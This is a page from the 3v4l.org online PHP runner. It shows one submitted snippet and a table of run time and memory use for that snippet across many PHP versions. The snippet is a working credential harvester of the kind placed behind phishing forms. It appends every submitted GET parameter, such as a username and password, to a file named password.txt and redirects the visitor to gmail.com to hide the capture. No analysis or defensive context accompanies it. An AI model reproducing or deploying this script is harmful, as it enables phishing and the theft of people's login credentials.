3v4l.org

run code in 300+ PHP versions simultaneously
<?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit;?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0130.00316.86
8.3.50.0110.01021.14
8.3.40.0110.00418.80
8.3.30.0110.00318.90
8.3.20.0040.00420.39
8.3.10.0000.00823.51
8.3.00.0040.00423.69
8.2.180.0090.01317.13
8.2.170.0060.01222.96
8.2.160.0150.00420.33
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0030.00620.91
8.2.120.0080.00026.35
8.2.110.0060.00322.25
8.2.100.0030.00717.80
8.2.90.0000.00819.27
8.2.80.0090.00317.97
8.2.70.0060.00317.38
8.2.60.0040.00717.93
8.2.50.0030.00618.07
8.2.40.0100.00320.24
8.2.30.0000.00719.37
8.2.20.0040.00417.75
8.2.10.0060.00318.04
8.2.00.0030.00518.00
8.1.280.0070.01125.92
8.1.270.0070.01118.82
8.1.260.0050.00328.09
8.1.250.0040.00428.09
8.1.240.0060.00322.52
8.1.230.0070.00419.02
8.1.220.0000.00817.76
8.1.210.0000.00818.77
8.1.200.0030.00617.25
8.1.190.0050.00317.47
8.1.180.0000.00718.10
8.1.170.0040.00418.38
8.1.160.0040.00420.80
8.1.150.0040.00418.83
8.1.140.0040.00419.61
8.1.130.0000.00917.65
8.1.120.0070.00017.52
8.1.110.0000.00817.46
8.1.100.0000.00717.49
8.1.90.0070.00317.38
8.1.80.0070.00417.41
8.1.70.0030.00317.54
8.1.60.0040.00417.58
8.1.50.0050.00317.57
8.1.40.0060.00317.54
8.1.30.0040.00417.66
8.1.20.0090.00017.69
8.1.10.0020.00517.57
8.1.00.0030.00517.41
8.0.300.0050.00218.77
8.0.290.0040.00416.88
8.0.280.0000.00718.58
8.0.270.0040.00417.34
8.0.260.0030.00517.40
8.0.250.0070.00017.03
8.0.240.0040.00417.11
8.0.230.0040.00417.02
8.0.220.0030.00317.14
8.0.210.0040.00417.05
8.0.200.0030.00317.11
8.0.190.0040.00417.15
8.0.180.0040.00417.07
8.0.170.0040.00416.98
8.0.160.0000.00717.02
8.0.150.0030.00517.03
8.0.140.0030.00717.02
8.0.130.0030.00313.50
8.0.120.0080.00016.95
8.0.110.0000.00717.06
8.0.100.0000.00816.91
8.0.90.0070.00017.01
8.0.80.0130.00716.93
8.0.70.0070.00016.93
8.0.60.0040.00417.00
8.0.50.0040.00417.05
8.0.30.0090.00917.25
8.0.20.0140.00817.42
8.0.10.0040.00416.99
8.0.00.0070.01316.78
7.4.330.0030.00316.79
7.4.320.0000.00716.63
7.4.300.0000.00716.48
7.4.290.0060.00016.63
7.4.280.0030.00616.45
7.4.270.0000.00716.64
7.4.260.0000.00716.64
7.4.250.0000.00816.54
7.4.240.0040.00416.58
7.4.230.0030.00316.61
7.4.220.0090.00916.59
7.4.210.0080.00616.56
7.4.200.0040.00416.55
7.4.160.0040.01216.76
7.4.150.0030.01617.40
7.4.140.0050.01217.86
7.4.130.0170.00016.55
7.4.120.0050.01316.55
7.4.110.0090.00916.70
7.4.100.0070.01316.54
7.4.90.0160.00616.51
7.4.80.0100.01319.39
7.4.70.0170.00016.49
7.4.60.0060.01016.52
7.4.50.0000.01216.46
7.4.40.0060.01316.42
7.4.30.0000.01616.59
7.4.00.0000.01314.84
7.3.330.0000.00513.17
7.3.320.0050.00013.09
7.3.310.0000.00716.36
7.3.300.0000.00716.20
7.3.290.0030.00316.33
7.3.280.0050.01316.31
7.3.270.0090.00817.40
7.3.260.0070.01016.40
7.3.240.0100.00716.49
7.3.230.0120.00616.46
7.3.210.0030.01316.39
7.3.200.0070.01919.39
7.3.190.0060.01016.32
7.3.180.0130.00316.55
7.3.170.0150.00316.63
7.3.160.0100.00716.41
7.2.330.0130.00716.73
7.2.320.0090.00916.45
7.2.310.0110.01116.77
7.2.300.0150.00616.70
7.2.290.0040.01216.76
7.2.60.0030.01016.85
7.2.00.0000.01319.58
7.1.200.0040.01115.82
7.1.100.0040.00718.12
7.1.70.0080.00817.09
7.1.60.0130.01019.27
7.1.50.0100.01416.66
7.1.00.0130.06322.46
7.0.200.0000.00716.80
7.0.100.0100.04319.93
7.0.90.0070.04019.96
7.0.80.0070.04019.87
7.0.70.0100.04719.98
7.0.60.0000.08319.79
7.0.50.0070.07320.16
7.0.40.0130.06720.09
7.0.30.0030.08320.05
7.0.20.0100.07320.15
7.0.10.0000.09320.12
7.0.00.0070.08720.07
5.6.280.0070.03021.07
5.6.250.0000.06020.59
5.6.240.0030.04720.64
5.6.230.0000.04320.71
5.6.220.0070.04020.49
5.6.210.0030.04020.55
5.6.200.0100.03721.11
5.6.190.0030.08321.01
5.6.180.0000.08721.05
5.6.170.0130.07721.00
5.6.160.0030.08321.10
5.6.150.0170.07021.17
5.6.140.0170.07021.13
5.6.130.0070.06320.93
5.6.120.0130.06021.08
5.6.110.0100.08320.93
5.6.100.0100.04020.94
5.6.90.0070.08720.99
5.6.80.0370.03020.31
5.6.70.0070.08020.29
5.6.60.0070.07720.50
5.6.50.0170.07320.49
5.6.40.0070.07720.39
5.6.30.0200.06720.32
5.6.20.0130.07720.44
5.6.10.0100.03320.40
5.6.00.0070.08020.33
5.5.380.0100.03720.40
5.5.370.0030.04020.54
5.5.360.0070.04020.38
5.5.350.0030.04720.38
5.5.340.0000.04320.64
5.5.330.0070.07020.89
5.5.320.0030.07320.91
5.5.310.0130.07720.91
5.5.300.0030.08320.89
5.5.290.0100.08020.83
5.5.280.0030.07320.92
5.5.270.0100.06720.79
5.5.260.0230.07020.78
5.5.250.0130.07720.70
5.5.240.0070.07720.21
5.5.230.0100.08320.21
5.5.220.0100.06320.14
5.5.210.0070.07320.11
5.5.200.0030.08320.18
5.5.190.0130.04020.24
5.5.180.0000.09720.21
5.5.160.0000.09020.12
5.5.150.0100.05720.21
5.5.140.0070.08019.98
5.5.130.0100.07020.09
5.5.120.0100.05320.13
5.5.110.0030.08020.16
5.5.100.0070.05720.16
5.5.90.0030.04719.96
5.5.80.0130.06320.06
5.5.70.0070.07720.09
5.5.60.0170.07319.93
5.5.50.0030.07320.04
5.5.40.0100.04720.14
5.5.30.0030.05720.07
5.5.20.0130.07320.05
5.5.10.0100.06020.05
5.5.00.0030.04720.02

preferences:
52.78 ms | 401 KiB | 5 Q